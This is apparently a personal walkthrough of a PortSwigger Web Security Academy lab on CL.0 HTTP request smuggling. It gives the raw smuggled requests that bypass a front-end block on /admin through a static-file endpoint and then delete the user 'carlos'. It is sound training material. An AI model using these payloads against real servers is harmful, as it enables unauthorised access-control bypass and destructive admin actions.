| Field | Details |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | HTTP Request Smuggling — CL.0, Admin Bypass |
| Difficulty | Expert |
| Objective | Exploit a CL.0 vulnerability on a static file endpoint to reach /admin and delete carlos |
CL.0 Request Smuggling¶
Navigating to /admin:
Path /admin is blocked — front-end is blocking it. Same goal as before, different mechanism.
CL.0 is a variant where the back-end ignores the Content-Length header on certain endpoints — typically static file endpoints. When CL is ignored, the server treats the body as zero-length and closes the request immediately. Anything in the body stays in the TCP buffer as the beginning of the next request. No HTTP/2, no Transfer-Encoding, no chunked encoding — just a Content-Length the server chooses to ignore.
From Proxy → HTTP History, two requests get sent to Repeater and grouped together. First is a POST to /, second is a normal GET to /:
POST / HTTP/1.1
Host: 0a4d00f8042f4f44808c581d001000f6.web-security-academy.net
Content-Length: 32
GET /miku HTTP/1.1
Teto: teto
Sending the group — the second request doesn't return 404. No desync on /. The back-end is processing Content-Length correctly on the root. Static file endpoints are the usual culprits, so we try the same payload pointing the POST at a static resource:
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4d00f8042f4f44808c581d001000f6.web-security-academy.net
Content-Length: 32
GET /miku HTTP/1.1
Teto: teto
The second request returns 404 Not Found: /miku. The static file endpoint ignores Content-Length, the body bytes float into the buffer, and the next request gets our smuggled GET /miku prepended to it. Desync confirmed.
Worth noting: changing the filename to something nonexistent (/resources/images/teto) still triggers the CL.0 behavior — the server applies the same Content-Length-ignoring logic to the entire /resources/ path, not just files that exist.
Updating the smuggled request to target /admin:
POST /resources/images/teto HTTP/1.1
Host: 0a4d00f8042f4f44808c581d001000f6.web-security-academy.net
Content-Length: 33
GET /admin HTTP/1.1
Teto: teto
The second request in the group returns the admin panel — the front-end's block on /admin doesn't apply because the request reaches the back-end directly via the smuggled prefix.
Updating the smuggled path to /admin/delete?username=carlos and sending the group — the normal request returns 302 Found:
we delete carlos and the lab solved :P